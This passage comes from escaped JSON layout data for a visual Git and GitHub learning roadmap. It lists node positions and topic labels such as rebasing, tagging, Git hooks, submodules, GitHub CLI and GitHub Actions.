\"x\": 1070.0316934344742,\n        \"y\": 2138.7489330045287\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HMEfUFNu_Wp_Pac7VWHr-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1070.0316934344742,\n        \"y\": 2191.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"git rebase\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1070.0316934344742,\n        \"y\": 2191.7489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BKVA6Q7DXemAYjyQOA0nh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1070.0316934344742,\n        \"y\": 2244.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"git filter-branch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1070.0316934344742,\n        \"y\": 2244.7489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OQOmxg9mCfcjt80hpvXkA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1070.0316934344742,\n        \"y\": 2297.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"git push --force\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1070.0316934344742,\n        \"y\": 2297.7489330045287\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iFJBF-EEnLjQVsFSXjo_i\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 791.8760409943199,\n        \"y\": 2465.2489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Tagging\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 791.8760409943199,\n        \"y\": 2465.2489330045287\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NeU38WPbEphJuJ_AMkH82\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1070.0316934344742,\n        \"y\": 2383.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Managing Tags\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1070.0316934344742,\n        \"y\": 2383.7489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"E3HAGNM-kXLL4Oci5JzpQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1070.0316934344742,\n        \"y\": 2436.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pushing Tags\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1070.0316934344742,\n        \"y\": 2436.7489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"62E1tDMXB6K74OEN0WsS0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1070.0316934344742,\n        \"y\": 2489.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Checkout Tags\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1070.0316934344742,\n        \"y\": 2489.7489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YmnTrjJtqHPXbEVrP8vd7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1070.0316934344742,\n        \"y\": 2542.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Releases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 196,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 196,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1070.0316934344742,\n        \"y\": 2542.7489330045287\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pqBV7BMAs0z6qpfZeW2XP\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 567.5316934344742,\n        \"y\": 2465.2489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Git hooks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sFf1PdFfmEdQxsEntfeFq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 127,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 127,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 567.5316934344742,\n        \"y\": 2465.2489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"v7uabKuMQPOD_hBIaHOVT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 521.0316934344742,\n        \"y\": 2540.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What and Why?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 521.0316934344742,\n        \"y\": 2540.7489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zsU6R2zvJKnYNU2ac4o4p\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 521.0316934344742,\n        \"y\": 2593.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Client vs Server Hooks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 521.0316934344742,\n        \"y\": 2593.7489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jzYjHx-gIKSP8dQUTqWVw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 532.0316934344742,\n        \"y\": 2105.2489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"commit-msg\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 532.0316934344742,\n        \"y\": 2105.2489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SANEQI2rgOtsMQyn4qUCq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 532.0316934344742,\n        \"y\": 2158.2489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"post-checkout\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 532.0316934344742,\n        \"y\": 2158.2489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"buxb5TpzQ-xxn0vqtGdS3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 532.0316934344742,\n        \"y\": 2211.2489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"post-update\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 532.0316934344742,\n        \"y\": 2211.2489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HhpAIzYMlMiQ9msrYZyDB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 532.0316934344742,\n        \"y\": 2264.2489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"pre-commit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 532.0316934344742,\n        \"y\": 2264.2489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"j5kWEUKwBFg5EMm8-61K9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 532.0316934344742,\n        \"y\": 2317.2489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"pre-push\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 532.0316934344742,\n        \"y\": 2317.2489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fEdLEowaTG4nyqxV5BPbk\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 561.5316934344742,\n        \"y\": 2371.2489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Common Hooks\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 139,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 561.5316934344742,\n        \"y\": 2371.2489330045287\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"fjAFNjNNbPOzme9Uk_fDV\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 249.03169343447416,\n        \"y\": 2293.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Submodules\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 171,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 171,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 249.03169343447416,\n        \"y\": 2293.7489330045287\n      },\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 171,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"x4bnsPVTiX2xOCSyrgWpF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 222.03169343447416,\n        \"y\": 2188.2489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Adding / Updating\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"d0-u_-_vtPK8tnUpnj_NB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 222.03169343447416,\n        \"y\": 2188.2489330045287\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"d0-u_-_vtPK8tnUpnj_NB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 222.03169343447416,\n        \"y\": 2135.2489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What and Why use?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 222.03169343447416,\n        \"y\": 2135.2489330045287\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Nr3MMuTWvDY6p1N7gSRDz\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 207.53169343447416,\n        \"y\": 2548.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Workflow\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 45,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 45\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 207.53169343447416,\n        \"y\": 2548.7489330045287\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 45\n      }\n    },\n    {\n      \"id\": \"h9cf_dh_pwjialOXOlNW-\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 253.53169343447416,\n        \"y\": 2679.362719846154\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub CLI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AmetdCURXXob5TUsikAab\"\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 135,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 253.53169343447416,\n        \"y\": 2679.362719846154\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 135,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vHfpoVbOW0DHNtiy0VN4X\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 205.53169343447416,\n        \"y\": 2765.2779308290865\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Installation and Setup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 244,\n        \"height\": 50\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 205.53169343447416,\n        \"y\": 2765.2779308290865\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"lw4zHuhtxIO4kDvbyiVfq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 205.53169343447416,\n        \"y\": 2819.2779308290865\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Repository management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 244,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 205.53169343447416,\n        \"y\": 2819.2779308290865\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kGnZifvXbHBf5zXIsfAQw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 205.53169343447416,\n        \"y\": 2872.2779308290865\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Issue Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 244,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 205.53169343447416,\n        \"y\": 2872.2779308290865\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"s3MzDYFPMASqiS8UnvWzW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 205.53169343447416,\n        \"y\": 2925.2779308290865\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pull Requests\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Y0EWgPsS4kZxH3y53jNxY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 244,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 205.53169343447416,\n        \"y\": 2925.2779308290865\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AmetdCURXXob5TUsikAab\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 785.8760409943199,\n        \"y\": 2677.41990782706\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Actions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 164,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 164,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 785.8760409943199,\n        \"y\": 2677.41990782706\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 164,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"p6rq3lQ9YRrTqwcc31O23\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1042.8707774220793,\n        \"y\": 2630.41990782706\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"YAML Syntax\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1042.8707774220793,\n        \"y\": 2630.41990782706\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"55uHPFNwYPVZx8Cy3c985\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1040.9255430960754,\n        \"y\": 2683.41990782706\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Workflow Triggers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1040.9255430960754,\n        \"y\": 2683.41990782706\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uS1H9KoKGNONvETCuFBbz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1040.7423034439896,\n        \"y\": 2736.41990782706\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Scheduled Worfklows\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1040.7423034439896,\n        \"y\": 2736.41990782706\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6QwlY3dEvjfAOPALcWKXQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1040.9255430960754,\n        \"y\": 2789.41990782706\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Workflow Runners\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1040.9255430960754,\n        \"y\": 2789.41990782706\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BnPiTu1Jw2kIW560a2A5T\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1040.9255430960754,\n        \"y\": 2842.41990782706\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Workflow Context\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1040.9255430960754,\n        \"y\": 2842.41990782706\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aflP7oWsQzAr4YPo2LLiQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1040.9255430960754,\n        \"y\": 2895.41990782706\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Secrets and Env Vars\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1040.9255430960754,\n        \"y\": 2895.41990782706\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HMNhzzV6ApTKj4I_FOmUB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1040.9255430960754,\n        \"y\": 2948.41990782706\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Caching Dependencies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1040.9255430960754,\n        \"y\": 2948.41990782706\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"alysXC4b1hGi9ZdQ5-40y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1040.9255430960754,\n        \"y\": 3001.41990782706\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Storing Artifacts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1040.9255430960754,\n        \"y\": 3001.41990782706\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jc4R1zhd1YeCEbVuxwJWy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1040.9255430960754,\n        \"y\": 3054.41990782706\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Workflow Status\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1040.9255430960754,\n        \"y\": 3054.41990782706\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SsogoCgJIbeTD6tk8UhTe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        